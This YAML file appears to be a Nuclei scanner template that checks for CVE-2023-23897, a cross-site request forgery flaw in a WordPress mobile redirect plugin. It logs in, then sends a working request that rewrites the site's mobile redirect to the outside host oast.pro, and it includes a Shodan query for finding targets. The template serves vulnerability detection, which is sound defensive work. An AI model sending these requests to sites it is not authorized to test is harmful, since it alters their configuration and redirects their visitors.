id: CVE-2023-23897

info:
  name: Ozette Plugins - Cross-Site Request Forgery
  author: popcorn94
  severity: medium
  description: |
    An attacker can update, create, and remove the site's mobile redirects via a forged request granted they can trick a site administrator into performing an action such as clicking on a link.
  impact: |
    Attackers can perform unauthorized actions on behalf of authenticated users, potentially leading to data manipulation or unauthorized redirects.
  remediation: |
    Update to version 1.7.3 or later with CSRF protections implemented.
  reference:
    - https://www.wordfence.com/threat-intel/vulnerabilities/wordpress-plugins/simple-mobile-url-redirect/simple-mobile-url-redirect-172-cross-site-request-forgery-leading-to-mobile-redirect-updates
    - https://nvd.nist.gov/vuln/detail/CVE-2023-23897
    - https://patchstack.com/database/vulnerability/simple-mobile-url-redirect/wordpress-simple-mobile-url-redirect-plugin-1-7-2-cross-site-request-forgery-csrf-vulnerability?_s_id=cve
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:L/A:N
    cvss-score: 4.3
    cve-id: CVE-2023-23897
    cwe-id: CWE-352
    epss-score: 0.57268
    epss-percentile: 0.98177
    cpe: cpe:2.3:a:ozette:simple_mobile_url_redirect:*:*:*:*:*:wordpress:*:*
  metadata:
    verified: true
    max-request: 1
    vendor: ozette
    product: simple_mobile_url_redirect
    framework: wordpress
    shodan-query: html:"simple-mobile-url-redirect"
  tags: cve,cve2023,wordpress,wp,plugins,ozette,csrf,vuln,authenticated,vkev,simple-mobile-url-redirect

flow: http(1) && http(2)

http:
  - raw:
      - |
        POST /wp-login.php HTTP/1.1
        Host: {{Hostname}}
        Content-Type: application/x-www-form-urlencoded

        log={{username}}&pwd={{password}}&wp-submit=Log+In

    matchers:
      - type: dsl
        dsl:
          - status_code == 302
          - contains(header, "wordpress_logged_in")
        condition: and
        internal: true

  - raw:
      - |
        POST /wp-admin/options-general.php?page=simple-mobile-url-redirect-1.7%2Fmobile-redirect.php HTTP/1.1
        Host: {{Hostname}}
        Content-Type: application/x-www-form-urlencoded

        mobiletoggle=&mobileurl=oast.pro&mobilemode=301&mobileredirectoncedays=7&submit=Save+Changes

    matchers:
      - type: dsl
        dsl:
          - 'status_code == 200'
          - 'contains(content_type, "text/html")'
          - 'contains_all(body, "Updated", "<div class=\"updated\">", "id=\"mobileurl\" value=\"http://oast.pro\"")'
        condition: and
# digest: 4b0a00483046022100cd3c5f3787aa04427b89eb905c1a49aca30727c5e61d10c239b93c75f3acd48f022100b2c5adef22c6adc668e216f555f820236a27e618280fd6b71abd1d8335e7ae27:922c64590222798bb761d5b6d8e72950